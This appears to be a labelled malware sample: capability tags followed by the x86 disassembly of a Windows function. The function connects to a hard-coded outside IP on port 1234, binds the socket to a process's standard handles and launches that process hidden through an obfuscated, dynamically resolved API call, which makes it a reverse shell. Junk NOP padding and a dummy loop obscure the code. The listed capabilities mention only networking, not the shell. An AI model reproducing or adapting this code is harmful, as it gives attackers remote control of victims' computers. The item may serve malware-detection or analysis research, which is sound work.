Function at 0x4010c1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x404040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1b4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4010f2
xor eax, eax
inc eax
jmp 0x40137c
mov eax, section..text
test eax, eax
je 0x401100
jmp 0x40137a
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
mov dword [ebp - 0x214], 0x4d2
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
and dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 1
and dword [ebp - 0x20c], 0
mov dword [ebp - 0x1fc], 1
jmp 0x401165
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x21c]
jg 0x4011b5
cmp dword [ebp - 0x1fc], 1
jne 0x40117e
jmp 0x401158
cmp dword [ebp - 0x1fc], 2
jne 0x401189
jmp 0x401158
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x204], eax
jmp 0x401158
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x200], eax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
push 2
pop eax
mov word [ebp - 0x14], ax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
push dword [ebp - 0x214]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
lea eax, [ebp - 0x10]
push eax
push str.95.111.227.182
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x200]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40124b
xor eax, eax
inc eax
jmp 0x40137c
push 0x44
push 0
lea eax, [ebp - 0x1f8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
mov dword [ebp - 0x1f8], 0x44
mov dword [ebp - 0x1cc], pe_nt_image_headers32
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
push str.dwdwaw.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x218], eax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
push str.awdwadwadw2
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x4012f1
xor eax, eax
inc eax
jmp 0x40137c
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1c0], eax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1bc], eax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1b8], eax
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
nop
nop
nop
push ax
mov ax, 0xa
pop ax
nop
nop
nop
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
push 0x404028
push 0
call dword [ebp - 0x210]
xor eax, eax
jmp 0x40137c
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401388
leave
ret